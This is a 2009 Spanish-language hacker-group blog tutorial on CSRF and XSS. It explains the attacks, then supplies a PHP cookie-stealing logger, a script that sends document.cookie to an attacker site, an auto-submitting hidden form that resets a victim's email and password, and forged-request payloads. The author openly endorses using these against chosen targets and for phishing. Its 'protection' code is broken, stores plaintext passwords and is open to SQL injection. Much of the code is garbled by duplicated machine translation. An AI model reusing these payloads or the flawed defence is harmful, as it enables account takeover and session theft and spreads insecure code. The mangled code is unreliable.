miércoles 23 de diciembre de 2009

[Tutorial] Vulnerabilidad CSRF By ShadinessDark [Colaboracion de Zero Bits]

Este tutorial fue hecho por un AMIGO en cual colabore y aca se los dejo:


Inicio Tutorial Cross Site Request Forgery By ShadinessDark = Zero Bits




1.) Presentación



2.) Que es CSRF



3.) Quien descubrió la vulnerabilidad CSRF




4.) CSRF y Xss



5) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits



6.) Testeando vulnerabilidad CSRF y programas el code vulnerable



7.) Sacando una conclusión a todo



8.) Como cuidar nuestra Web de este tipo de ataques




9.) Despedida





1.) Presentación



Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial

Para dar la diferencia de otros tutoriales que he visto en la red…



¿Por qué diferente?



Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados




¿A que se debe este tutorial?



Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo

No es mi culpa que un Web Master no me haga caso ¿Verdad?



Los saludos más especiales para mis compañeros:



Zero Bits

KuTer

Jeferx


Darki113r

_84kur10_

Z1z30f

Kozmic.Kizz




2.) Que es CSRF



Bueno como muchos quizás han leído en la wikipedia ya csrf representa a

Cross Site Request Forgery el ataque se efectúa cuando por ejemplo Vemos algo

Así Presiona este link para que te lleve a mi sitio


Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.

Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde

Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}

Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL.



3.) Quien descubrió la vulnerabilidad CSRF



En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un

Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso

Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada


En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado

Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.



Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de Aqui solo lo logre traducir...



4.) CSRF y Xss



Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad

Es parecida o igual a xss.




Les explico bueno xss se aprovecha de la confianza de la victima que tiene el sitio

Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.



El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario…



4.1) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits



Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.




Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...



- ROBO DE COOKIES EN XSS



Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code

[code ][url ] o [img ] [/code ]

no filtre bien el contenido que se le asigne.



Para algunos que no entienden lo de [code ][url ] y [img ][/code ] es cuando dentro del [code ][url ][/code ] agregariamos un link como [code ]"javascript:alert("xss")"[/code ] y cuando se le de click se ejecute hay mismo, tambien podriamos agregar XSS con codes HEXADECIMALES (ya esto es otro tema, asi que no lo explicare).



Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)




<?
$cookie = $_REQUEST[cookie];
$file=fopen("/2009/12/cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>




PD: Este code no es mio es de Chebyte. Pero esto es basico...



Bueno, le explicare el code para quienes no lo entiendan:



$cookie = $_REQUEST[cookie] : El que recibe la cookie

$file=fopen("/2009/12/cookies.txt", "a") : Crea el archivo cookies.txt para lectura

fput($file, "$cookie\n") : Muestra la cookie


fclose($file) : Cierra



Podriamos guardarlo "/2009/12/robador.html" y ahora faltaria el code que redireccione a este CODE:



<script>self.location='e);"target=" _blank">http://TuWeb.com/robador.php?c='+scape(document.cookie)</script>




Y Tachan! tienes la cookie...



Bueno antes que nada les dire lo SCRIPT KIDDIE y BUENO de este metodo:




1. SCRIPT KIDDIE: Usar este metodo contra webs de Hacking

2. NO-LAMMER: Usar contra sites malos como: Porno, Pedofilia, Estafadores, Enemigos, EMOS!!!, etc..

3. SCRIPT KIDDIE: Aprender este metodo unicamente sin saber como funciona

4. NO-LAMMER: Aprender JAVASCRIPT, HTML y PHP

5. MEDIO: Usarla para Phishing [Es malo y es bueno xD, pero no es lammer]

5. SCRIPT KIDDIE: Hacking MSN -.-"



Ahora pasaremos a hablar del CSRF clasico:




- XSRF/CSRF Clasico



Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.



Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):



<form action="formulario" action="http://victima.com/perfil.php" method="POST">
<input type="hidden" name="email" value="tuemail@hotmail.com">
<input type="hidden" name="passwirdl" value="minuevopassword">
<input type="hidden" name="submit" value="enviar">

<script>document.submit();</script>




Como dije depende de la web, SI EL SITE NO TIENE AL CAMBIAR DATOS, REPITE EL EMAIL o CONTRASEÑA es vulnerable y tambien de los input "name=NOMBRE" del site. La victima no sabe que le hemos cambiado el email...



Tambien si al cambiar datos salga un link como este:



[quote]http://www.web.com/perfil.php?user=NOMBREUSUARIONUEVO&mail=minuevomail@hotmail.com&pass=minuevopass[/quote]




Es super hiper mega vulnerable ya que notamos que no dice en el link a cambiar: PASSANTERIOR o EMAILANTERIOR... y que pasa si le mandamos un MP (Mensaje Privado) depende claro si es un foro con un link como este:



Man vota por mi



Y al hacer click en cualquiera de los ejemplos los datos han sido cambiados..



Espero que les haya gustado mi parte en este bonito tutorial creado por mi bro ShadinessDark y puedan entender la diferencia entre XSS (El robo de cookies) y CSRF...






5.)Testeando vulnerabilidad CSRF y programas el code vulnerable



Los ataques csrf lo reproducen por etiquetas HTML/JAVASCRIPT o una

Imagen, daré un breve ejemplo:



Un ejemplo nos envían un correo electrónico o un MP en algún foro cuyo propósito

Del atacante es que al darle clic realiza una solicitud a una URL del atacante les Mostrare un ejemplo:




Por ejemplo usando una imagen src.

<img src="http://Www.xD.com/?Comando">



Script

<script src="http://Www.xD.com/?Comando">



Casi siempre se usan los IFRAME



<iframe src="http://Www.xD.com/?Comando">




Los ejemplos de arribas son dados con HTML ahora les doy el ejemplo de los de Javascript



<script>

var foo = new Image(); var foo = new Image ();

foo.src = "http://Www.xD.com/?Comando";</script>



También se puede hacer por XHTML pero hay que usar IE y bueno esa no se las explicare en este tutorial y si quieren me avisan y bueno lo modifico, Claro que existen muchas formas Vbscript – Actionscript – HTML – Javascript - JScript y otros que utilizan de marcado en los navegadores de los usuarios que hacen

Realizar peticiones REMOTAS.




¿Cambiando datos de la victima?




Bueno este breve codigo es solo un pequeño ejemplo:



<script>

var post_data = 'name=value'; post_data var = 'nombre = valor';

var xmlhttp=new XMLHttpRequest(); var xmlhttp = new XMLHttpRequest ();

xmlhttp.open("POST", 'http://www.xD.com/path/file.ext', true); xmlhttp.open ( "POST", "http://www.xD.com/path/file.ext ', true);

xmlhttp.onreadystatechange = function () { xmlhttp.onreadystatechange = function () (


if (xmlhttp.readyState == 4) if (xmlhttp.readyState == 4)

{ (

alert(xmlhttp.responseText); alert (xmlhttp.responseText);

} )

}; );

xmlhttp.send(post_data); xmlhttp.send (post_data);

</script> </ script>




Como podemos ver en este código hacemos una petición a POST

Acuérdense que arriba les comente que cuando el atacante usa un código

Malicioso hace una petición en Get. Post y HTTP ¿Se acuerdan? Espero y me vayan entendiendo...



¿A dónde se dirige esta petición?



Bueno esta petición se dirige a la base de datos del sitio me explico

Cada vez que hacemos cambios extremos en nuestro perfil todo pasa

Por una base de datos bueno cuando la victima le da clic a la url enviada

Por el atacante hace una petición en la base de datos y cambia los datos de la cuenta


De la victima de confianza por el atacante ¿Me van entendiendo a que se debe este ataque?



7.) Sacando una conclusión a todo.



Mirando la lógica a todo este ataque se basa en un código malicioso que es muy usado, HTML Y Javascript.



Es un tipo de ataque que por parte de HTML usamos la etiqueta src y en javascript Usamos la misma etiqueta este ataque es basado en darle clic a un vinculo al Redireccionar la Web y cargar cambia la información que de nuestro usuario.

Haciendo una petición en la base de datos del código del atacante…



8.) Como cuidar nuestra Web de este tipo de ataques





Primero que nada vamos a nuestro FTP introducimos nuestros datos y entramos a la Carpeta public_html o donde este el archivo index.php le añadiremos algo que diga

‘Actualcontraseña’ Antes de seguir el código que pondré es sacado de la siguiente pagina De aquí



Después que estemos en el index.php introduciremos este código con el Actualcontraseña esto tiene que ir dentro de <?php…

<form method="POST" action="/2009/12/datos.html" name="datos">
Usuario <input type="text" name="usuario">
Email <input type="text" name="email">

Contraseña <input type="text" name="contraseña">
Email alternativo: <input type="text" name="emailalternativo">
Contraseña Actual: <input type="text" name="actualcontraseña">
<input type="submit" name="submit" value="cambiardatos">
</form>





Luego buscamos el archive que se llama Config.php lo pueden encontrar

Por el mismo FTP y le agregamos lo siguiente:



<?php

$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";

$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);

?>




En el archive datos.php usaremos lo siguiente:



<?

include('/2009/12/config.html');

session_start();
if(isset($_REQUEST['usuario']))
$usuario = $_REQUEST['usuario'];
else
die("Rellene el campo Usuario");
if(isset($_REQUEST['email']))
$email = $_REQUEST['email];
else
die("Rellene el campo email");
if(isset($_REQUEST['contraseña']))
$contraseña = $_REQUEST['contraseña];
else
die("Rellene el campo Contraseña");
if(isset($_REQUEST['emailalternativo']))
$emailalternativo = $_REQUEST['emailalternativo];
else
die("Falta el email alternativo");
if(isset($_REQUEST['actualcontraseña']))
$actualcontraseña = $_REQUEST['actualcontraseña];
else
die("Especifique la contraseña");

if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";

}else{

$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data['contraseñaa'] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{

CambiarDatos($usuario, $email, $contraseña, $emailalternativo);

?>




Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin


Y le damos donde dice Consulta y introducen el siguiente código:

CREATE TABLE 'myhosting_usuarios' (
'id' int(11) NOT NULL auto_increment,
'usuario' varchar(15) NOT NULL,
'email' varchar(15) NOT NULL,
'emailalternativo' varchar(15) NOT NULL,
'contraseña' varchar(150) NOT NULL,
'contraseñaa' varchar(150) NOT NULL,
KEY 'id' ('id')
) ENGINE=MyISAM;

INSERT INTO 'myhosting_usuarios' VALUES (1, 'SecurityKill', 'mymail@gmail.com', 'mymail2@gmail.com', 'mypass', 'mypass');






9.) Despedida



Bueno señores ya hemos terminado este tutorial quizás muchos no entendieron

Y otros si me entendieron traten de hacer lo mejor por dar una buena explicación

Pero recuerden que no todo se pone tan fácil, Bueno en este tutorial compartí gran

Parte con mi hermano zero bits que su parte quedo maravillosa lo se porque lo lei


Me gustan las críticas así que espero las críticas tutorial escrito a mano todo los derechos del autor reservados y los códigos no todos son nuestros por eso hemos

Puesto en algunos la fuente les deseo un gran fin de semana…



No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que

Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato…



Group’s Ethical.



Zero Bits

KuTer


Jeferx

Darki113r

_84kur10_

ShadinessDark



Mi team V1rtu@l VIRu$ Bl@ck Team

1 comentarios:

Giacomo dijo...

Muito Bom , voce tem talento para ensernar !!!